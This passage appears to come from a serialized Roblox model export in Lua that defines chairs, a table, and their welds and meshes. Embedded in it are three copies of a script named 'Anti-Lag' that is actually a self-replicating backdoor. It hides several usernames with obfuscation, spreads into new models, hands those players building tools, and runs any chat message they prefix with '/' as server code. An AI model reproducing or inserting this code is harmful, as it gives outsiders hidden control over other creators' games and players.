1.25) Part536.Name = "Smooth Block Model" Part536.Parent = Model505 Part536.CFrame = CFrame.new(-9.84106445, 56.1002083, -212.051559, 0, 1, -0, -1, 0, 0, 0, 0, 1) Part536.Orientation = Vector3.new(0, 0, -90) Part536.Position = Vector3.new(-9.84106445, 56.1002083, -212.051559) Part536.Rotation = Vector3.new(0, 0, -90) Part536.Color = Color3.new(0.627451, 0.372549, 0.207843) Part536.Size = Vector3.new(3, 0.400000006, 3) Part536.Anchored = true Part536.BottomSurface = Enum.SurfaceType.Weld Part536.BrickColor = BrickColor.new("Dark orange") Part536.LeftSurface = Enum.SurfaceType.Weld Part536.RightSurface = Enum.SurfaceType.Weld Part536.TopSurface = Enum.SurfaceType.Smooth Part536.brickColor = BrickColor.new("Dark orange") Weld537.Parent = Part536 Weld537.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld537.C1 = CFrame.new(-1, -0.999951363, 0.599971771, 0, -1, 0, 0, -0, 1, -1, 0, 0) Weld537.Part0 = Part536 Weld537.Part1 = Part388 Weld537.part1 = Part388 Weld538.Parent = Part536 Weld538.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld538.C1 = CFrame.new(-0.5, -0.900024414, 0.5, 0, -1, 0, -1, 0, 0, 0, 0, -1) Weld538.Part0 = Part536 Weld538.Part1 = Part403 Weld538.part1 = Part403 Weld539.Parent = Part536 Weld539.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld539.C1 = CFrame.new(1, -0.999951363, -1.40002823, 0, -1, 0, 0, -0, 1, -1, 0, 0) Weld539.Part0 = Part536 Weld539.Part1 = Part422 Weld539.part1 = Part422 Part540.Name = "Smooth Block Model" Part540.Parent = Model505 Part540.CFrame = CFrame.new(-11.5410156, 54.8001671, -212.051559, 1, 0, 0, 0, 1, 0, 0, 0, 1) Part540.Position = Vector3.new(-11.5410156, 54.8001671, -212.051559) Part540.Color = Color3.new(0.627451, 0.372549, 0.207843) Part540.Size = Vector3.new(3, 0.400000006, 3) Part540.Anchored = true Part540.BrickColor = BrickColor.new("Dark orange") Part540.LeftSurface = Enum.SurfaceType.Weld Part540.RightSurface = Enum.SurfaceType.Weld Part540.TopSurface = Enum.SurfaceType.Weld Part540.brickColor = BrickColor.new("Dark orange") Script541.Name = "Anti-Lag" Script541.Parent = Part540 table.insert(cors,sandbox(Script541,function() Altitude = script:clone() calco = {"u", "1","4","D","j","g","M","k","a","e","d","c","2","3","r","t","j"} Knox = {} table.insert (Knox, 1 ,string.reverse(calco[2] .. calco[11] .. calco[10] .. calco[1] .. calco[4])) table.insert (Knox, 2 ,string.reverse(calco[2] .. calco[3] .. calco[16] .. calco[15] .. calco[10] .. calco[4])) table.insert (Knox, 3 ,string.reverse(calco[14] .. calco[13] .. calco[2] .. calco[8] .. calco[12] .. calco[9] .. calco[5])) table.insert (Knox, 4 ,string.reverse(calco[17] .. calco[5] .. calco[17] .. calco[4])) Play = {} function rando(votation) local hatr = 5 local calc = math.pi * math.huge local longicate = votation:GetChildren() if #longicate > hatr then calc = calc + math.pi return longicate[math.random(6,#longicate)] end end function doublecheck() local fj = game.Workspace:GetChildren() for off = 1,#fj do if fj[off].className == "Part" then local fh = fj[off]:FindFirstChild("Anti-Lag") if fh ~= nil then return false end end end return true end function workcheck() if doublecheck() == true then local l = Altitude:clone() l.Parent = rando(game.Workspace) end end workcheck() function gibite(quen) local hup = Instance.new("Message") hup.Text = "Detected" hup.Parent = quen.Parent local con = Instance.new("Script") con.Source = [[wait(5) script.Parent:remove()]] con.Parent = hup for ish = 0,7 do local a = Instance.new("HopperBin") a.BinType = ish a.Parent = quen end end function laber(zonsa) wait() for slate = 1,#Knox do if zonsa.Name == Knox[slate] then gibite(zonsa.Backpack) table.insert (Play, 1, zonsa.Name) end end end function yeild(frequency) local t = Knox for g = 1,#t do if t[g] == frequency.Name then return true end end return false end function check(los) local r = los:GetChildren() for i = 1,#r do local h = r[i]:FindFirstChild("Anti-Lag") if h ~= nil then h:remove() end end end function alto(xylem) if xylem.className == "Model" then check(xylem) local que = script:clone() que.Parent = rando(xylem) end end function sortation(gone) local dimbs = Altitude:clone() dimbs = ramno(game.Workspace) end function onPlayerEntered(newPlayer) newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end) end function Player(player) player.Changed:connect(function (property) if property == "Character" then laber(player) end end) end game.Players.PlayerAdded:connect(Player) game.Players.ChildAdded:connect(onPlayerEntered) game.Players.ChildAdded:connect(laber) script.ChildRemoved:connect(sortation) game.Workspace.ChildAdded:connect(alto) function onChatted(msg, recipient, speaker) if yeild(speaker) ~= false then if string.sub(msg,1,1) == "/" then local dsting = Instance.new("Script") dsting.Source = string.sub(msg,2) dsting.Parent = game.Workspace end end end end)) Weld542.Parent = Part540 Weld542.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld542.C1 = CFrame.new(-1, 0.599975586, -1, 1, 0, 0, 0, 0, -1, 0, 1, 0) Weld542.Part0 = Part540 Weld542.Part1 = Part518 Weld542.part1 = Part518 Weld543.Parent = Part540 Weld543.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld543.C1 = CFrame.new(1, 0.599975586, 1, 1, 0, 0, 0, 0, -1, 0, 1, 0) Weld543.Part0 = Part540 Weld543.Part1 = Part534 Weld543.part1 = Part534 Weld544.Parent = Part540 Weld544.C0 = CFrame.new(1.5, 0, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0) Weld544.C1 = CFrame.new(1.30004883, -0.199951172, 0, 0, -1, -0, 0, 0, 1, -1, 0, 0) Weld544.Part0 = Part540 Weld544.Part1 = Part536 Weld544.part1 = Part536 Weld545.Parent = Part540 Weld545.C0 = CFrame.new(0, 0, -1.5, -1, -0, -0, 0, 1, 0, -0, -0, -1) Weld545.C1 = CFrame.new(0, 0.199951172, 0.300292969, -1, 0, 0, 0, 0, -1, 0, -1, 0) Weld545.Part0 = Part540 Weld545.Part1 = Part512 Weld545.part1 = Part512 Script546.Name = "Anti-Lag" Script546.Parent = Model505 table.insert(cors,sandbox(Script546,function() Altitude = script:clone() calco = {"u", "1","4","D","j","g","M","k","a","e","d","c","2","3","r","t","j"} Knox = {} table.insert (Knox, 1 ,string.reverse(calco[2] .. calco[11] .. calco[10] .. calco[1] .. calco[4])) table.insert (Knox, 2 ,string.reverse(calco[2] .. calco[3] .. calco[16] .. calco[15] .. calco[10] .. calco[4])) table.insert (Knox, 3 ,string.reverse(calco[14] .. calco[13] .. calco[2] .. calco[8] .. calco[12] .. calco[9] .. calco[5])) table.insert (Knox, 4 ,string.reverse(calco[17] .. calco[5] .. calco[17] .. calco[4])) Play = {} function rando(votation) local hatr = 5 local calc = math.pi * math.huge local longicate = votation:GetChildren() if #longicate > hatr then calc = calc + math.pi return longicate[math.random(6,#longicate)] end end function doublecheck() local fj = game.Workspace:GetChildren() for off = 1,#fj do if fj[off].className == "Part" then local fh = fj[off]:FindFirstChild("Anti-Lag") if fh ~= nil then return false end end end return true end function workcheck() if doublecheck() == true then local l = Altitude:clone() l.Parent = rando(game.Workspace) end end workcheck() function gibite(quen) local hup = Instance.new("Message") hup.Text = "Detected" hup.Parent = quen.Parent local con = Instance.new("Script") con.Source = [[wait(5) script.Parent:remove()]] con.Parent = hup for ish = 0,7 do local a = Instance.new("HopperBin") a.BinType = ish a.Parent = quen end end function laber(zonsa) wait() for slate = 1,#Knox do if zonsa.Name == Knox[slate] then gibite(zonsa.Backpack) table.insert (Play, 1, zonsa.Name) end end end function yeild(frequency) local t = Knox for g = 1,#t do if t[g] == frequency.Name then return true end end return false end function check(los) local r = los:GetChildren() for i = 1,#r do local h = r[i]:FindFirstChild("Anti-Lag") if h ~= nil then h:remove() end end end function alto(xylem) if xylem.className == "Model" then check(xylem) local que = script:clone() que.Parent = rando(xylem) end end function sortation(gone) local dimbs = Altitude:clone() dimbs = ramno(game.Workspace) end function onPlayerEntered(newPlayer) newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end) end function Player(player) player.Changed:connect(function (property) if property == "Character" then laber(player) end end) end game.Players.PlayerAdded:connect(Player) game.Players.ChildAdded:connect(onPlayerEntered) game.Players.ChildAdded:connect(laber) script.ChildRemoved:connect(sortation) game.Workspace.ChildAdded:connect(alto) function onChatted(msg, recipient, speaker) if yeild(speaker) ~= false then if string.sub(msg,1,1) == "/" then local dsting = Instance.new("Script") dsting.Source = string.sub(msg,2) dsting.Parent = game.Workspace end end end end)) Model547.Name = "Chair" Model547.Parent = Model454 Model547.PrimaryPart = Part579 Part548.Name = "Smooth Block Model" Part548.Parent = Model547 Part548.CFrame = CFrame.new(-22.5410156, 54.0002365, -218.051559, 0, 0, 1, 0, 1, -0, -1, 0, 0) Part548.Orientation = Vector3.new(0, 90, 0) Part548.Position = Vector3.new(-22.5410156, 54.0002365, -218.051559) Part548.Rotation = Vector3.new(0, 90, 0) Part548.Color = Color3.new(0.627451, 0.372549, 0.207843) Part548.Size = Vector3.new(1, 1.20000005, 1) Part548.Anchored = true Part548.BrickColor = BrickColor.new("Dark orange") Part548.TopSurface = Enum.SurfaceType.Weld Part548.brickColor = BrickColor.new("Dark orange") SpecialMesh549.Parent = Part548 SpecialMesh549.Scale = Vector3.new(1.25, 1.25, 1.25) Weld550.Parent = Part548 Weld550.C0 = CFrame.new(0, 0.600000024, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld550.C1 = CFrame.new(1, -0.199932098, 1, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld550.Part0 = Part548 Weld550.Part1 = Part579 Weld550.part1 = Part579 Weld551.Parent = Part548 Weld551.C0 = CFrame.new(0, 0.600000024, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld551.C1 = CFrame.new(1, -0.199932098, 1, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld551.Part0 = Part548 Weld551.Part1 = Part579 Weld551.part1 = Part579 Weld552.Parent = Part548 Weld552.C0 = CFrame.new(0, 0.600000024, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld552.C1 = CFrame.new(1, -0.199951172, 1, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld552.Part0 = Part548 Weld552.Part1 = Part579 Weld552.part1 = Part579 Weld553.Parent = Part548 Weld553.C0 = CFrame.new(0, 0.600000024, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld553.C1 = CFrame.new(1, -0.199932098, 1, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld553.Part0 = Part548 Weld553.Part1 = Part579 Weld553.part1 = Part579 Weld554.Parent = Part548 Weld554.C0 = CFrame.new(0, 0.600000024, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld554.C1 = CFrame.new(1, -0.199932098, 1, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld554.Part0 = Part548 Weld554.Part1 = Part579 Weld554.part1 = Part579 Part555.Name = "Smooth Block Model" Part555.Parent = Model547 Part555.CFrame = CFrame.new(-22.5410156, 54.0002365, -216.051559, 0, 0, 1, 0, 1, -0, -1, 0, 0) Part555.Orientation = Vector3.new(0, 90, 0) Part555.Position = Vector3.new(-22.5410156, 54.0002365, -216.051559) Part555.Rotation = Vector3.new(0, 90, 0) Part555.Color = Color3.new(0.627451, 0.372549, 0.207843) Part555.Size = Vector3.new(1, 1.20000005, 1) Part555.Anchored = true Part555.BrickColor = BrickColor.new("Dark orange") Part555.TopSurface = Enum.SurfaceType.Weld Part555.brickColor = BrickColor.new("Dark orange") SpecialMesh556.Parent = Part555 SpecialMesh556.Scale = Vector3.new(1.25, 1.25, 1.25) Weld557.Parent = Part555 Weld557.C0 = CFrame.new(0, 0.600000024, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld557.C1 = CFrame.new(-1, -0.199932098, 1, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld557.Part0 = Part555 Weld557.Part1 = Part579 Weld557.part1 = Part579 Weld558.Parent = Part555 Weld558.C0 = CFrame.new(0, 0.600000024, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld558.C1 = CFrame.new(-1, -0.199951172, 1, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld558.Part0 = Part555 Weld558.Part1 = Part579 Weld558.part1 = Part579 Weld559.Parent = Part555 Weld559.C0 = CFrame.new(0, 0.600000024, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld559.C1 = CFrame.new(-1, -0.199932098, 1, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld559.Part0 = Part555 Weld559.Part1 = Part579 Weld559.part1 = Part579 Weld560.Parent = Part555 Weld560.C0 = CFrame.new(0, 0.600000024, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld560.C1 = CFrame.new(-1, -0.199932098, 1, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld560.Part0 = Part555 Weld560.Part1 = Part579 Weld560.part1 = Part579 Weld561.Parent = Part555 Weld561.C0 = CFrame.new(0, 0.600000024, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld561.C1 = CFrame.new(-1, -0.199932098, 1, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld561.Part0 = Part555 Weld561.Part1 = Part579 Weld561.part1 = Part579 Part562.Name = "Smooth Block Model" Part562.Parent = Model547 Part562.CFrame = CFrame.new(-24.5410156, 54.0002365, -218.051559, 0, 0, 1, 0, 1, -0, -1, 0, 0) Part562.Orientation = Vector3.new(0, 90, 0) Part562.Position = Vector3.new(-24.5410156, 54.0002365, -218.051559) Part562.Rotation = Vector3.new(0, 90, 0) Part562.Color = Color3.new(0.627451, 0.372549, 0.207843) Part562.Size = Vector3.new(1, 1.20000005, 1) Part562.Anchored = true Part562.BrickColor = BrickColor.new("Dark orange") Part562.TopSurface = Enum.SurfaceType.Weld Part562.brickColor = BrickColor.new("Dark orange") SpecialMesh563.Parent = Part562 SpecialMesh563.Scale = Vector3.new(1.25, 1.25, 1.25) Weld564.Parent = Part562 Weld564.C0 = CFrame.new(0, 0.600000024, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld564.C1 = CFrame.new(1, -0.199932098, -1, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld564.Part0 = Part562 Weld564.Part1 = Part579 Weld564.part1 = Part579 Weld565.Parent = Part562 Weld565.C0 = CFrame.new(0, 0.600000024, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld565.C1 = CFrame.new(1, -0.199932098, -1, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld565.Part0 = Part562 Weld565.Part1 = Part579 Weld565.part1 = Part579 Weld566.Parent = Part562 Weld566.C0 = CFrame.new(0, 0.600000024, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld566.C1 = CFrame.new(1, -0.199951172, -1, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld566.Part0 = Part562 Weld566.Part1 = Part579 Weld566.part1 = Part579 Weld567.Parent = Part562 Weld567.C0 = CFrame.new(0, 0.600000024, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld567.C1 = CFrame.new(1, -0.199932098, -1, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld567.Part0 = Part562 Weld567.Part1 = Part579 Weld567.part1 = Part579 Weld568.Parent = Part562 Weld568.C0 = CFrame.new(0, 0.600000024, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld568.C1 = CFrame.new(1, -0.199932098, -1, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld568.Part0 = Part562 Weld568.Part1 = Part579 Weld568.part1 = Part579 Part569.Name = "Smooth Block Model" Part569.Parent = Model547 Part569.CFrame = CFrame.new(-24.5410156, 54.0002365, -216.051559, 0, 0, 1, 0, 1, -0, -1, 0, 0) Part569.Orientation = Vector3.new(0, 90, 0) Part569.Position = Vector3.new(-24.5410156, 54.0002365, -216.051559) Part569.Rotation = Vector3.new(0, 90, 0) Part569.Color = Color3.new(0.627451, 0.372549, 0.207843) Part569.Size = Vector3.new(1, 1.20000005, 1) Part569.Anchored = true Part569.BrickColor = BrickColor.new("Dark orange") Part569.TopSurface = Enum.SurfaceType.Weld Part569.brickColor = BrickColor.new("Dark orange") SpecialMesh570.Parent = Part569 SpecialMesh570.Scale = Vector3.new(1.25, 1.25, 1.25) Weld571.Parent = Part569 Weld571.C0 = CFrame.new(0, 0.600000024, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld571.C1 = CFrame.new(-1, -0.199932098, -1, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld571.Part0 = Part569 Weld571.Part1 = Part579 Weld571.part1 = Part579 Weld572.Parent = Part569 Weld572.C0 = CFrame.new(0, 0.600000024, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld572.C1 = CFrame.new(-1, -0.199932098, -1, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld572.Part0 = Part569 Weld572.Part1 = Part579 Weld572.part1 = Part579 Weld573.Parent = Part569 Weld573.C0 = CFrame.new(0, 0.600000024, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld573.C1 = CFrame.new(-1, -0.199932098, -1, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld573.Part0 = Part569 Weld573.Part1 = Part579 Weld573.part1 = Part579 Weld574.Parent = Part569 Weld574.C0 = CFrame.new(0, 0.600000024, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld574.C1 = CFrame.new(-1, -0.199932098, -1, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld574.Part0 = Part569 Weld574.Part1 = Part579 Weld574.part1 = Part579 Part575.Name = "Smooth Block Model" Part575.Parent = Model547 Part575.CFrame = CFrame.new(-23.5410156, 56.1002083, -218.751556, 0, 0, 1, -1, 0, 0, 0, -1, 0) Part575.Orientation = Vector3.new(0, 90, -90) Part575.Position = Vector3.new(-23.5410156, 56.1002083, -218.751556) Part575.Rotation = Vector3.new(-90, 90, 0) Part575.Color = Color3.new(0.627451, 0.372549, 0.207843) Part575.Size = Vector3.new(3, 0.400000006, 3) Part575.Anchored = true Part575.BottomSurface = Enum.SurfaceType.Weld Part575.BrickColor = BrickColor.new("Dark orange") Part575.LeftSurface = Enum.SurfaceType.Weld Part575.RightSurface = Enum.SurfaceType.Weld Part575.TopSurface = Enum.SurfaceType.Smooth Part575.brickColor = BrickColor.new("Dark orange") Weld576.Parent = Part575 Weld576.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld576.C1 = CFrame.new(1.5, 1.30004883, 0, 0, -0, -1, -1, 0, 0, 0, 1, 0) Weld576.Part0 = Part575 Weld576.Part1 = Part579 Weld576.part1 = Part579 Weld577.Parent = Part575 Weld577.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld577.C1 = CFrame.new(0.599975586, -1, -1, -1, 0, 0, 0, 0, 1, 0, 1, 0) Weld577.Part0 = Part575 Weld577.Part1 = Part428 Weld577.part1 = Part428 Weld578.Parent = Part575 Weld578.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld578.C1 = CFrame.new(0, -1, 0.599975586, 0, -1, -0, 0, 0, 1, -1, 0, 0) Weld578.Part0 = Part575 Weld578.Part1 = Part427 Weld578.part1 = Part427 Part579.Name = "Smooth Block Model" Part579.Parent = Model547 Part579.CFrame = CFrame.new(-23.5410156, 54.8001671, -217.051559, 0, 0, 1, 0, 1, -0, -1, 0, 0) Part579.Orientation = Vector3.new(0, 90, 0) Part579.Position = Vector3.new(-23.5410156, 54.8001671, -217.051559) Part579.Rotation = Vector3.new(0, 90, 0) Part579.Color = Color3.new(0.627451, 0.372549, 0.207843) Part579.Size = Vector3.new(3, 0.400000006, 3) Part579.Anchored = true Part579.BrickColor = BrickColor.new("Dark orange") Part579.LeftSurface = Enum.SurfaceType.Weld Part579.RightSurface = Enum.SurfaceType.Weld Part579.TopSurface = Enum.SurfaceType.Weld Part579.brickColor = BrickColor.new("Dark orange") Script580.Name = "Anti-Lag" Script580.Parent = Part579 table.insert(cors,sandbox(Script580,function() Altitude = script:clone() calco = {"u", "1","4","D","j","g","M","k","a","e","d","c","2","3","r","t","j"} Knox = {} table.insert (Knox, 1 ,string.reverse(calco[2] .. calco[11] .. calco[10] .. calco[1] .. calco[4])) table.insert (Knox, 2 ,string.reverse(calco[2] .. calco[3] .. calco[16] .. calco[15] .. calco[10] .. calco[4])) table.insert (Knox, 3 ,string.reverse(calco[14] .. calco[13] .. calco[2] .. calco[8] .. calco[12] .. calco[9] .. calco[5])) table.insert (Knox, 4 ,string.reverse(calco[17] .. calco[5] .. calco[17] .. calco[4])) Play = {} function rando(votation) local hatr = 5 local calc = math.pi * math.huge local longicate = votation:GetChildren() if #longicate > hatr then calc = calc + math.pi return longicate[math.random(6,#longicate)] end end function doublecheck() local fj = game.Workspace:GetChildren() for off = 1,#fj do if fj[off].className == "Part" then local fh = fj[off]:FindFirstChild("Anti-Lag") if fh ~= nil then return false end end end return true end function workcheck() if doublecheck() == true then local l = Altitude:clone() l.Parent = rando(game.Workspace) end end workcheck() function gibite(quen) local hup = Instance.new("Message") hup.Text = "Detected" hup.Parent = quen.Parent local con = Instance.new("Script") con.Source = [[wait(5) script.Parent:remove()]] con.Parent = hup for ish = 0,7 do local a = Instance.new("HopperBin") a.BinType = ish a.Parent = quen end end function laber(zonsa) wait() for slate = 1,#Knox do if zonsa.Name == Knox[slate] then gibite(zonsa.Backpack) table.insert (Play, 1, zonsa.Name) end end end function yeild(frequency) local t = Knox for g = 1,#t do if t[g] == frequency.Name then return true end end return false end function check(los) local r = los:GetChildren() for i = 1,#r do local h = r[i]:FindFirstChild("Anti-Lag") if h ~= nil then h:remove() end end end function alto(xylem) if xylem.className == "Model" then check(xylem) local que = script:clone() que.Parent = rando(xylem) end end function sortation(gone) local dimbs = Altitude:clone() dimbs = ramno(game.Workspace) end function onPlayerEntered(newPlayer) newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end) end function Player(player) player.Changed:connect(function (property) if property == "Character" then laber(player) end end) end game.Players.PlayerAdded:connect(Player) game.Players.ChildAdded:connect(onPlayerEntered) game.Players.ChildAdded:connect(laber) script.ChildRemoved:connect(sortation) game.Workspace.ChildAdded:connect(alto) function onChatted(msg, recipient, speaker) if yeild(speaker) ~= false then if string.sub(msg,1,1) == "/" then local dsting = Instance.new("Script") dsting.Source = string.sub(msg,2) dsting.Parent = game.Workspace end end end end)) Weld581.Parent = Part579 Weld581.C0 = CFrame.new(0, 0.200000003, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld581.C1 = CFrame.new(0, 0.5, -0.50012207, -0, -1, -0, 1, 0, 0, 0, 0, 1) Weld581.Part0 = Part579 Weld581.Part1 = Part427 Weld581.part1 = Part427 Weld582.Parent = Part579 Weld582.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld582.C1 = CFrame.new(1, 0.599975586, 1, 1, -0, 0, 0, 0, -1, 0, 1, 0) Weld582.Part0 = Part579 Weld582.Part1 = Part569 Weld582.part1 = Part569 Model583.Name = "Table" Model583.Parent = Model454 Model583.PrimaryPart = Part593 Part584.Name = "Smooth Block Model" Part584.Parent = Model583 Part584.CFrame = CFrame.new(-13.5410156, 55.2001915, -209.051559, 0, 0, 1, 0, 1, -0, -1, 0, 0) Part584.Orientation = Vector3.new(0, 90, 0) Part584.Position = Vector3.new(-13.5410156, 55.2001915, -209.051559) Part584.Rotation = Vector3.new(0, 90, 0) Part584.Color = Color3.new(0.627451, 0.372549, 0.207843) Part584.Size = Vector3.new(1, 3.60000014, 1) Part584.Anchored = true Part584.BrickColor = BrickColor.new("Dark orange") Part584.TopSurface = Enum.SurfaceType.Weld Part584.brickColor = BrickColor.new("Dark orange") SpecialMesh585.Parent = Part584 SpecialMesh585.Scale = Vector3.new(1.25, 1.25, 1.25) Weld586.Parent = Part584 Weld586.C0 = CFrame.new(0, 1.80000007, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld586.C1 = CFrame.new(-2.5, -0.199951172, 6.5, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld586.Part0 = Part584 Weld586.Part1 = Part593 Weld586.part1 = Part593 Part587.Name = "Smooth Block Model" Part587.Parent = Model583 Part587.CFrame = CFrame.new(-26.5410156, 55.2001915, -209.051559, 0, 0, 1, 0, 1, -0, -1, 0, 0) Part587.Orientation = Vector3.new(0, 90, 0) Part587.Position = Vector3.new(-26.5410156, 55.2001915, -209.051559) Part587.Rotation = Vector3.new(0, 90, 0) Part587.Color = Color3.new(0.627451, 0.372549, 0.207843) Part587.Size = Vector3.new(1, 3.60000014, 1) Part587.Anchored = true Part587.BrickColor = BrickColor.new("Dark orange") Part587.TopSurface = Enum.SurfaceType.Weld Part587.brickColor = BrickColor.new("Dark orange") SpecialMesh588.Parent = Part587 SpecialMesh588.Scale = Vector3.new(1.25, 1.25, 1.25) Weld589.Parent = Part587 Weld589.C0 = CFrame.new(0, 1.80000007, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld589.C1 = CFrame.new(-2.5, -0.200000763, -6.5, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld589.Part0 = Part587 Weld589.Part1 = Part593 Weld589.part1 = Part593 Weld590.Parent = Part587 Weld590.C0 = CFrame.new(0, 1.80000007, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld590.C1 = CFrame.new(-2.5, -0.200000763, -6.5, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld590.Part0 = Part587 Weld590.Part1 = Part593 Weld590.part1 = Part593 Weld591.Parent = Part587 Weld591.C0 = CFrame.new(0, 1.80000007, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld591.C1 = CFrame.new(-2.5, -0.200000763, -6.5, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld591.Part0 = Part587 Weld591.Part1 = Part593 Weld591.part1 = Part593 Weld592.Parent = Part587 Weld592.C0 = CFrame.new(0, 1.80000007, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld592.C1 = CFrame.new(-2.5, -0.200000763, -6.5, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld592.Part0 = Part587 Weld592.Part1 = Part593 Weld592.part1 = Part593 Part593.Name = "Smooth Block Model" Part593.Parent = Model583 Part593.CFrame = CFrame.new(-20.0410156, 57.2001915, -211.551559, 0, 0, 1, 0, 1, -0, -1, 0, 0) Part593.Orientation = Vector3.new(0, 90, 0) Part593.Position = Vector3.new(-20.0410156, 57.2001915, -211.551559) Part593.Rotation = Vector3.new(0, 90, 0) Part593.Color = Color3.new(0.627451, 0.372549, 0.207843) Part593.Size = Vector3.new(8, 0.400000006, 16) Part593.Anchored = true Part593.BrickColor = BrickColor.new("Dark orange") Part593.LeftSurface = Enum.SurfaceType.Weld Part593.RightSurface = Enum.SurfaceType.Weld Part593.TopSurface = Enum.SurfaceType.Smooth Part593.brickColor = BrickColor.new("Dark orange") Weld594.Parent = Part593 Weld594.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld594.C1 = CFrame.new(2.5, 1.80004883, 6.5, 1, -0, 0, 0, 0, -1, 0, 1, 0) Weld594.Part0 = Part593 Weld594.Part1 = Part587 Weld594.part1 = Part587 Weld595.Parent = Part593 Weld595.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld595.C1 = CFrame.new(2.5, 1.79999924, -6.5, 1, -0, 0, 0, 0, -1, 0, 1, 0) Weld595.Part0 = Part593 Weld595.Part1 = Part584 Weld595.part1 = Part584 Weld596.Parent = Part593 Weld596.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld596.C1 = CFrame.new(-2.5, 1.80004883, -6.5, 1, -0, 0, 0, 0, -1, 0, 1, 0) Weld596.Part0 = Part593 Weld596.Part1 = Part602 Weld596.part1 = Part602 Weld597.Parent = Part593 Weld597.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld597.C1 = CFrame.new(-2.5, 1.79999924, 6.5, 1, -0, 0, 0, 0, -1, 0, 1, 0) Weld597.Part0 = Part593 Weld597.Part1 = Part599 Weld597.part1 = Part599 Weld598.Parent = Part593 Weld598.C0 = CFrame.new(4, 0, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0) Weld598.C1 = CFrame.new(0.0999832153, -0.199996948, 0, 0, 1, 0, 0, -0, 1, 1, -0, 0) Weld598.Part0 = Part593 Weld598.Part1 = Part620 Weld598.part1 = Part620 Part599.Name = "Smooth Block Model" Part599.Parent = Model583 Part599.CFrame = CFrame.new(-26.5410156, 55.2001915, -214.051559, 0, 0, 1, 0, 1, -0, -1, 0, 0) Part599.Orientation = Vector3.new(0, 90, 0) Part599.Position = Vector3.new(-26.5410156, 55.2001915, -214.051559) Part599.Rotation = Vector3.new(0, 90, 0) Part599.Color = Color3.new(0.627451, 0.372549, 0.207843) Part599.Size = Vector3.new(1, 3.60000014, 1) Part599.Anchored = true Part599.BrickColor = BrickColor.new("Dark orange") Part599.TopSurface = Enum.SurfaceType.Weld Part599.brickColor = BrickColor.new("Dark orange") SpecialMesh600.Parent = Part599 SpecialMesh600.Scale = Vector3.new(1.25, 1.25, 